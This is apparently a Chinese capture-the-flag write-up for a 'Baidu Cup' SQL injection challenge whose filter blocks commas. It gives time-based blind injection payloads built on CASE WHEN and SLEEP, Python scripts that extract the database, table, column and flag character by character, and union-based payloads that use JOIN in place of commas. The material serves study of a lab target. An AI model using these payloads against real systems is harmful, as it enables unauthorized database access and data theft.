"百度杯"CTF比赛 九月场SQLi

无逗号的注入的注入技巧，提供两种方法

省略前面的脑洞部分

• 时间盲注

---

很麻烦，也许以后能用到，先记录下。
由于过滤了逗号，无法使用if，所以使用：

select case when (条件) then 代码1 else 代码 2 end

代替if
payload：

'+AND+(SELECT+CASE+WHEN+(SUBSTRING(database()+FROM+%d+FOR+1)='%s')+THEN+SLEEP(5)+ELSE+0+END)+AND+'1'='1

写脚本跑库名：

import requests

url = 'http://89d69220163a4a98966b84816b4b443c39812cd6b48f4379.changame.ichunqiu.com/l0gin.php?id=1'
mystr = '0987654321qwertyuiopasdfghjklzxcvbnm_{},'
flag = ''

for i in range(32):
    for str in mystr:
        payload = "'+AND+(SELECT+CASE+WHEN+(SUBSTRING(database()+FROM+%d+FOR+1)='%s')+THEN+SLEEP(5)+ELSE+0+END)+AND+'1'='1" % (i+1, str)

        try:
            rul = url + payload
            res = requests.get(rul, timeout=4)
        except requests.exceptions.ReadTimeout, e:
            flag = flag + str
            print "flag:", flag
            break
        except KeyboardInterrupt, e:
            exit(0)
        else:
            pass

得到数据库名为sqli：

库名

修改脚本中的payload，继续跑表名,
payload:

'+AND+(SELECT+CASE+WHEN+(SUBSTRING((SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='sqli')+FROM+1+FOR+1)='a')+THEN+SLEEP(5)+ELSE+0+END)+AND+'1'='1

得到表名为users

表名
继续修改脚本中的payload，跑出列名,
payload:

'+AND+(SELECT+CASE+WHEN+(SUBSTRING((SELECT+GROUP_CONCAT(COLUMN_NAME)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='users')+FROM+1+FOR+1)='a')+THEN+SLEEP(5)+ELSE+0+END)+AND+'1'='1

列名
没有分隔符，- -，应该是flag_9c861b688330
ok，继续跑数据：
最终脚本：

import requests

url = 'http://2ab6e045ce13446ca9199570a24ba649cd658e4e7372422f.changame.ichunqiu.com/l0gin.php?id=1'
mystr = '0987654321qwertyuiopasdfghjklzxcvbnm_,{}-'
flag = ''

for i in range(64):
    for str in mystr:
        payload = "'+AND+(SELECT+CASE+WHEN+(SUBSTRING((SELECT+GROUP_CONCAT(flag_9c861b688330)+FROM+users)+FROM+%d+FOR+1)='%s')+THEN+SLEEP(5)+ELSE+0+END)+AND+'1'='1" % (i+1, str)

        try:
            rul = url + payload
            res = requests.get(rul, timeout=4)
        except requests.exceptions.ReadTimeout, e:
            flag = flag + str
            print "flag:", flag
            break
        except KeyboardInterrupt, e:
            exit(0)
        else:
            pass

得到flag为：

flag

虽然很麻烦，就当学习了时间盲注的知识吧！

• 联合查询

---

使用join代替逗号。
1、order by

  id=1'+order+by+2+%23 正常
  id=1'+order+by+3+%23 错误

2、union select
将id值换成一个无法查询到数据的值，例，id=-1
库名，payload：

id=-1'+union+select+*+from+(select+database())+a+join+(select+2)+b+%23

库名
数据库名为：sqli
表名，payload：

id=-1%27+union+select+*+from+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=%27sqli%27)+a+join+(select+2)+b+%23

表名
库内表名为：users
列名，payload：

id=-1%27+union+select+*+from+(select+group_concat(column_name)+from+information_schema.columns+where+table_name=%27users%27)+a+join+(select+2)+b+%23

列名
表内列名：flag_9c861b688330
数据，payload：

id=-1%27+union+select+*+from+(select+flag_9c861b688330+from+users)+a+join+(select+2)+b+%23

flag